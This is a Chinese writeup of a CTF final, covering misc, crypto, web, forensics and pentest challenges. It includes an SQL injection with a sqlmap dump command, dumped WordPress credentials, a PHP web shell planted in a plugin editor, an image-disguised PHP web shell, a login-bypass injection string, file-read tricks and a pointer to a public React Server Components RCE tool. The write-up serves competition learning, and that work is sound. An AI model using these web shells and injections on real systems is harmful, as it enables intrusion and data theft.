2026破阵阁决赛-Writeup
Misc
代码中的秘密
查看/robots.txt

base64解密得到we scan php codes with rips

提示指向rips
访问/rips

通过分析 RIPS 的功能,发现其 /windows/code.php 文件存在任意文件读取漏洞。
在源码发现js/script.js
分析js/script.js,发现 RIPS 的扫描功能通过 POST 请求发送给 main.php

构造payload:
loc=/var/www/&subdirs=1&verbosity=1&vector=all&treestyle=1&stylesheet=ayti
发现flag文件路径,/var/www/html/rips/5570338f-7c7c-49f7-aa42-dcfa711fe2b1.php

再使用windows/code.php 文件存在的任意文件读取漏洞读取flag

crypto
寻迹烟海
这题也是喜提一血
前期分析时间太长了导致有几题都没时间看/(ㄒoㄒ)/~~
打开容器有512行的64位16进制字符
排查发现有4对重复的64位16进制字符,猜测应该是flag中的-
结合题目描述的背景位中文的,所有极有可能使用的是中国国密算法
根据密文的特征结合背景,上网搜索资料能发现SM3算法中的输出长度和输出格式与密文相同

基本确定为SM3哈希算法
进行验证
from gmssl import sm3, func
with open('cipher.txt', 'r') as f:
lines = [l.strip() for l in f.readlines() if l.strip()]
line_set = set(lines)
for i in range(1000):
h = sm3.sm3_hash(func.bytes_to_list(str(i).encode()))
if h in line_set:
idx = lines.index(h)
print(f"SM3('{i}') -> line {idx}")
输出
SM3('155') -> line 92
SM3('200') -> line 33
SM3('285') -> line 186
SM3('475') -> line 60
SM3('568') -> line 243
SM3('877') -> line 208
SM3('895') -> line 213
确定为SM3哈希算法
进行暴力破解全部明文
import re
import string
from gmssl import sm3, func
def sm3_hash(data: bytes) -> str:
return sm3.sm3_hash(func.bytes_to_list(data))
def solve():
with open('cipher.txt', 'r') as f:
lines = [l.strip() for l in f.readlines() if l.strip()]
assert len(lines) == 512, f"Expected 512 lines, got {len(lines)}"
assert all(len(l) == 64 for l in lines), "Each line should be 64 hex chars"
line_set = set(lines)
matched = {}
charset = string.ascii_lowercase + string.digits
for c1 in charset:
for c2 in charset:
for c3 in charset:
h = sm3_hash((c1 + c2 + c3).encode())
if h in line_set:
for idx, line in enumerate(lines):
if line == h and idx not in matched:
matched[idx] = c1 + c2 + c3
missing_set = set(lines[i] for i in range(512) if i not in matched)
if missing_set:
extended = string.ascii_letters + string.digits + string.punctuation + ' '
for c1 in extended:
for c2 in extended:
for c3 in extended:
if c1 in charset and c2 in charset and c3 in charset:
continue # 已搜索过
h = sm3_hash((c1 + c2 + c3).encode())
if h in missing_set:
for idx, line in enumerate(lines):
if line == h and idx not in matched:
matched[idx] = c1 + c2 + c3
missing_set.discard(h)
if not missing_set:
break
if not missing_set:
break
if not missing_set:
break
for idx in range(512):
if idx not in matched:
for other_idx in range(512):
if lines[other_idx] == lines[idx] and other_idx in matched:
matched[idx] = matched[other_idx]
break
assert len(matched) == 512, f"Only matched {len(matched)}/512 lines"
# 拼接明文
plaintext = ''.join(matched[i] for i in range(512))
print(f"[+] Recovered plaintext ({len(plaintext)} chars)")
# 提取 flag
flag = re.search(r'flag\{[^}]+\}', plaintext)
if flag:
print(f"[+] Flag: {flag.group()}")
else:
print("[-] Flag not found in plaintext")
print(f" Plaintext: {plaintext}")
if __name__ == '__main__':
solve()
[+] Recovered plaintext (1536 chars)
[+] Flag: flag{99bcd2d2-2ae3-465a-bddc-65682e6b8d88}
web
Secure File Viewer
在源码发现/file.php?filename=logo

测试文件读取/flag.txt,文件不存在

进行不可打印url编码再读取%0Fflag%0Etxt,获取flag

源自于真实
进入页面发现sectest:sectest

尝试登陆,发现页面跳转/login2.php?verify=sectest

更改url为/login2.php?verify=admin
使用bp进行爆破

拿到验证码

输入验证码得到flag
这个笔记真的安全吗?
访问容器发现网站是一个基于nodejs构建的应用
查看源码,发现使用了 React Server Components (self.__next_f.push)

这存在一个严重的反序列化漏洞 (CVE-2025-55182),允许未授权的远程代码执行。
在前段时间举办的:HKCERT 2025 的 react和2025CISCN国赛暨长城杯初赛的redjs也是相同的CVE漏洞题目
直接用github开源的工具一把梭GelukCrab/React-Server-Components-RCE: React Server Components 远程代码执行漏洞(CVE-2025-55182)
发现flag文件

读取flag

Forensics
FLAG 消失之谜
CTF-Net-A一把嗦得到flag的base64编码
ZmxhZ3s2MjQzYzdiNi1lYzc0LTQwMmQtYTg1MC1kYzU1MDIxMGVjMmN9

解码得到flag

一发入魂
CTF-Net-A一把梭拿到flag的16进制编码
666c61677b39376436393331312d333861352d346161362d393564342d3063306164306336313231627d

解码得到flag

锈蚀密钥
附件是一个e.dd镜像文件
火眼挂起检材
在文件分类中发现可疑图片secret.bmp和可疑文件openstego.jar


打开openstego.jar导入secret.bmp进行解密

解密后在桌面生成了一个3.txt的文件,文件中有flag

静影寻踪
附件是一个内存镜像文件
使用lovelymen Pro内存取证工具
检索字符串flag{获取flag

Pentest
东西很老,能用就好
参考文章:
[vulnhub]Hackademic.RTB1 - sunset2131 - 博客园
一步一步跟着复现即可
使用 dirsearch 工具结合 SecLists 字典进行扫描,发现 /wp-admin/、/wp-login.php、/xmlrpc.php 等关键路径。
基本确定存在CVE-2005-1687 漏洞(cat 参数处的 SQL 注入漏洞)
通过 SQL 注入枚举系统用户,发现 KearaJohnson(管理员)、ColleenFeeney(内核权限)等账户。
index.php 文件中的 cat 参数存在 SQL 注入漏洞。
index.php?cat=1 AND 1=1(正常返回)对比 index.php?cat=1 AND 1=0(无返回)。
使用 sqlmap 确认该漏洞支持布尔盲注、报错注入和时间盲注。

利用 SQL 注入漏洞导出 wp_users 数据表内容:
sqlmap -u "http://175.27.169.122:60065/?cat=1" --batch -D wordpress -T wp_users --dump
获取到的账户凭据:
TobinWilliamson: 密码q1w2e3(用户级别:10,管理员权限)KearaJohnson: 密码admin(用户级别:1)ColleenFeeney: 密码kernel(用户级别:0)
进入后台 plugin ->Plugin Editor页面,选择hello.php插件文件进行编辑,在文件头部插入
<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>

访问url执行命令

漏洞成功利用
?cmd=ls -la /

?cmd=cat /flag-mh2m
获取flag

综合挑战
参考文章:
打靶记录11——Billu_b0x - Fab1an - 博客园
直接使用账号密码:or%200%3d0%20%23%22 / =%5c成功登录

上传图片,shell.png
GIF89a
<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>
验证文件包含漏洞,成功执行

尝试访问刚刚上传了一句话木
成功执行

?s=ls -la /
找到flag文件

读取flag文件


浙公网安备 33010602011771号